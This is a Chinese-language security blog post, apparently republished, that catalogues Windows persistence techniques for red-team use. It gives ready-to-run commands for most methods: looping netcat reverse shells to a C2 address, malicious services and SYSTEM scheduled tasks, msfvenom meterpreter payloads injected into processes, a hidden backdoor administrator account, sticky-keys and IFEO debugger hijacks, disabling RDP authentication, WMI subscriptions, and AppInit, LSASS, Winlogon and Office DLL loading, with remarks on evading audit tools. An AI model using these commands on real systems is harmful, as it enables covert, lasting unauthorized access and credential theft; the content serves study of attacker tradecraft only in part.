Windows权限维持方式总结

admin 2026-07-08 04:48:42 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文总结了Windows系统多种权限维持技术,包括shell循环、自启动、服务、计划任务、内存持久化、修改配置、Debugger、GFLAGS、WMI及AppInit等方法。每种方法均提供了具体命令示例,并分析了其优缺点、权限要求及重启后的持久性。文章强调不同技术适用于不同场景,如自启动和服务重启后有效但易被发现,而WMI和AppInit更隐蔽。建议根据实际需求选择合适方法,并注意隐蔽性与权限限制。 综合评分: 84 文章分类: 渗透测试,红队,内网渗透,安全工具,实战经验


cover_image

Windows 权限维持方式总结

原创

时时安全 时时安全

时时安全

2026年7月4日 13:29 安徽

在小说阅读器读本章

去阅读

本文分享 Windows 持久化技术,以便通过这些方法来维持访问,希望大家点点关注

shell 权限维持

跟Linux的思维一样,可以通过在命令行中创建一个小型循环结构来实现持久化,该结构会反复启动反向shell或者绑定shell。

start cmd /C "for /L %n in (1,0,10) do ( nc.exe C2 9001 -e cmd.exe & ping -n 60 127.0.0.1 )"

这会启动一个新的命令 shell 来执行带引号的循环。for 循环/L结构用于重复执行循环体。实际上,这里选择的参数会使循环体持续运行。在循环内部,调用nc.exe会尝试连接攻击机。

链式连接ping -n 60 127.0.0.1起到简单的便携式睡眠作用,在连接尝试之间插入大约一分钟的延迟

这个方法在重启、注销或关闭 shell/窗口时循环停止,因此无法在重启后继续运行。

自启动维权

自启动是Windows的常见维权方式,因为在启动Windows的时候,系统会自动启动设置好的程序,有两种方法

1、把可执行文件复制到启动文件夹

copy persistence.exe %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

copy persistence.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\

2、在运行的注册表下创建

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\users\username\persistence.exe"

reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\Windows\system32\persistence.exe"

将可执行文件,放在用户专属的 Startup 文件夹中,这样,在用户登陆的时候就会启动这个文件,而放在 ProgramData 文件夹下,就会导致文件在任何登陆的时候都会启动。

将值写入

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

注册表会创建一个命令行,该命令行将在当前用户登录时执行,通常无需管理员权限即可创建。写入另一个注册表项,会创建一个全机范围的自动运行命令,这需要管理员权限。

HKLM\Software\Microsoft\Windows\CurrentVersion\Run

这个方法重启之后仍然可以运行,并且每次交互登陆都会运行,但是位置比较明显,容易被发现

Windows服务维权

在 Windows 中,有一个服务控制管理器(SCM),服务可以配置为在启动启动的时候运行,在用户登陆之前运行,

而且可以在崩溃后自动重启。但是创建服务需要管理员权限。

sc create persistence binPath= "nc.exe ‐e \windows\system32\cmd.exe IP 9001" start= auto

sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000

sc start persistence

计划任务维权

计划任务比起自启动更为灵活,可以精确控制程序运行的实际和频率,并且在重启之后依旧有效。但是创建和修改计划任务,一般需要管理员权限。

schtasks /create /ru SYSTEM /sc MINUTE /MO 1 /tn persistence /tr "c:\temp\nc.exe -e c:\windows\system32\cmd.exe IP 9001"

schtasks /create创建了一个名为 persistence 的新计划任务。

/ru SYSTEM 参数指示任务计划程序以 SYSTEM 帐户身份运行该任务

这使得有效负载在运行时拥有高权限。

选项/sc MINUTE /MO 1将计划类型设置为“分钟”,并带有修饰符 1,这意味着该任务计划每分钟运行一次。

/tn persistence为任务命名,并/tr “…”指定任务触发时将执行的确切命令行。

由于任务计划程序独立于交互式用户会话运行计划任务,因此即使无人登录,该任务也会执行,并且在重启后仍然有效,直到被删除。

Windows内存持久化

在前面的文章已经分享了 Linux的内存持久化,在Windows中同样可以通过进程注入的方式来进行持久化

msfvenom ‐p windows/x64/meterpreter/reverse_tcp LHOST=C2_IP LPORT=9007 ‐f raw ‐o meter64.bin StagerRetryCount=999999

通过msf生成

然后将其注入到正在运行的进程中:

inject_windows.exe PID meter64.bin

这种方式只要做好免杀是难以发现的,但是重启之后没办法保留。

修改配置持久化

这种方式和上面方式不同,是通过修改 Windows 自身的配置来实现的,这种方式不需要额外的文件,也不需要设置新程序。但是这种方式需要修改账户,注册表或者远程访问控制,通常都是需要管理员权限的

net user hacker p@ssw0rd /add

net localgroup administrators /add hacker

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v attacker /t REG_DWORD /d 0 /f

前两条命令创建一个新的本地用户并将其添加到特权组。然后,注册表命令将“攻击者”帐户从 Windows 登录屏幕中隐藏,但它仍然可用于交互式和远程登录。这些步骤共同创建了一个隐蔽的后门用户,该用户与系统融为一体,可用于后续的持续访问。

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"

reg add "HKLM\system\currentcontrolset\control\Terminal Server\WinStations\RDP‐Tcp" /v UserAuthentication /t REG_DWORD /d 0x0 /f

sethc.exe攻击通过修改“粘滞键”辅助功能工具的调试器值,将其执行替换为 cmd.exe。

在登录屏幕上按五次 Shift 键,不会打开“粘滞键”,而是会启动一个具有 SYSTEM 权限的命令提示符。

此外,修改RDP-Tcp相关UserAuthentication设置可以0降低网络级别身份验证 (NLA) 的要求,从而允许在无需凭据的情况下建立 RDP 连接。这两项修改提供了一种可靠的方法,可以直接从 Windows 登录屏幕恢复访问权限。

Debugger

Windows 不会直接修改磁盘上的程序,而是允许在特定可执行文件启动时附加一个“调试器”。

我们可以利用这个功能,为目标进程设置一个调试器值,这样每当用户打开这个进程的时候,Windows都会启动命令行,并且原来的执行不会改变

copy calc.exe _calc.exe

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & c:\windows\nc.exe ‐e c:\windows\system32\cmd.exe IP 9001" /f

这个命令会在启动计算器时,Windows 会检查 IFEO,发现调试器已经设置了,就会运行调试器命令,而不是直接运行计算器。

IFEO劫持攻击的巧妙之处在于它无需修改二进制文件,而是利用合法的Windows功能作为触发条件

需要管理员权限才能设置 HKLM IFEO 密钥。

GFLAGS

Windows 包含一些隐藏的调试和跟踪功能,可以利用这些功能来进行持久化攻击。

其中一项功能是SilentProcessExit机制,它允许管理员配置进程终止时的特殊操作。

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "nc ‐e \windows\system32\cmd.exe IP 9001"

提供的命令用于配置记事本。第一个注册表修改将 GlobalFlag 的值设置为notepad.exetrue 512,该标志指示 Windows 监视该进程的“静默进程退出”。下一个命令启用记事本退出时的报告功能。最后一个命令指定发生这种情况时要运行的命令。在此配置下,每次用户关闭记事本时,系统都会静默触发 Netcat 反向 shell。

这里利用的是诊断机制而非主流的自动运行位置。

这种方式重启后仍然存在,并且由于它依赖于不太为人所知的注册表分支,而不是启动、运行键或服务,因此不会被 Autoruns 等常见的持久性审计工具检测到。

WMI

Windows 管理规范 (WMI) 提供了一个功能强大的系统级框架,用于监控和自动化,管理员可以利用它进行遥测和计划任务。攻击者可以通过创建永久事件订阅来滥用 WMI,这些订阅存储在 WMI 存储库中,并在定时器或系统事件发生时触发payload

wmic /NAMESPACE:"\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

wmic /NAMESPACE:"\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\file.exe",CommandLineTemplate="C:\file.exe"

wmic /NAMESPACE:"\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""

第一条命令创建一个事件过滤器,该过滤器无需外部驱动程序或服务即可产生周期性触发。

第二条命令创建一个使用者,用于描述过滤器触发时应执行的操作。

第三条命令将过滤器绑定到使用者,以便事件真正触发执行。

这三条命令共同在 WMI 存储库中创建一个持久订阅,使指定的命令在选定的时间间隔或条件下运行。

AppInit

AppInit 是 Windows 的一项传统功能,它指示操作系统加载程序将一个或多个 DLL 映射到任何链接 user32.dll 的进程中。这意味着当许多 GUI 应用程序启动时,Windows 会自动加载注册表值中列出的 DLL,从而使这些 DLL 中的代码有机会在这些进程中运行。这是一个基于注册表的、系统级的机制,即使重启后仍然有效,并且在配置后会影响 32 位和 64 位 GUI 应用程序。

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f

eg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "C:\meter64.dll" /f

reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f

reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "C:\meter32.dll" /f

第一条命令为 64 位注册表视图启用 AppInit 行为。

第二条命令写入 Windows 应尝试加载到 GUI 进程中的 DLL 路径(此值是一个包含一个或多个 DLL 路径的字符串)。接下来的两条命令在 64 位系统上对 32 位注册表视图执行相同的操作。首先,它们将启用 32 位进程的机制,然后设置 32 位 DLL 路径。

简单来说:启用 AppInit,告诉 Windows 要加载哪些 DLL,并对 64 位和 32 位进程都执行此操作,以便两种架构的 GUI 应用程序都能加载指定的库。

LSASS

在 Windows 中修改 LSASS 的配置以加载额外的 DLL,可以让代码在具有高权限且长时间运行的系统进程中执行。LSASS 负责执行安全策略和处理凭据。由于它会在启动时加载已配置的身份验证/通知包,因此在此处添加条目会导致所选模块加载到该进程中,并在重启后仍然保持活动状态。

reg add "HKLM\system\currentcontrolset\control\lsa" /v "Notification Packages" /t reg_multi_sz /d "rassfm\0scecli\0meter" /f

注册表命令会更新LSA 键下的通知包多字符串。简单来说,这行代码告诉 Windows “当 LSASS 启动时,同时加载名为 rassfm、 scecli和 的包meter,如果值已存在则强制写入。”

Winlogon

Winlogon 是处理交互式用户登录的组件,它会在UserInit身份验证完成后调用注册表值中列出的程序。通过在该字符串后附加一个额外的可执行文件,UserInit你可以确保您的程序在每次有人交互式登录时自动启动。

reg add "HKLM\software\microsoft\windows nt\currentversion\winlogon" /v UserInit /t reg_sz /d "c:\windows\system32\userinit.exe, c:\meter.exe"

这样可以保留正常的路径userinit.exe,并在末尾添加c:\meter.exe,因此当 Winlogon 运行时,它会先启动userinit.exe,然后meter.exe作为登录序列的一部分。这里路径UserInit必须首先包含合法userinit.exe路径。删除或错误排序路径可能会导致交互式登录失败并锁定用户。

Microsoft Office

许多 Office 组件会从当前用户的注册表单元读取配置,这个时候就可以利用这一点,

插入 Office 在用户运行 Office 套件时会加载或引用的路径或 DLL 名称。这种方法是针对特定用户的,并且在重启后仍然有效,因为配置存储在 HKCU 中,但它仅在受害者实际启动读取该注册表项的 Office 组件时才会触发。

reg add "HKCU\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d C:\meter.dll

这个方法没有计划控制,它只会在用户启动相关的 Office 组件时触发,因此无法控制执行间隔。

以上就是一些Windows维权的方式,希望能够给师傅们带来帮助。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:时时安全 时时安全 时时安全《Windows 权限维持方式总结》

评论:0   参与:  0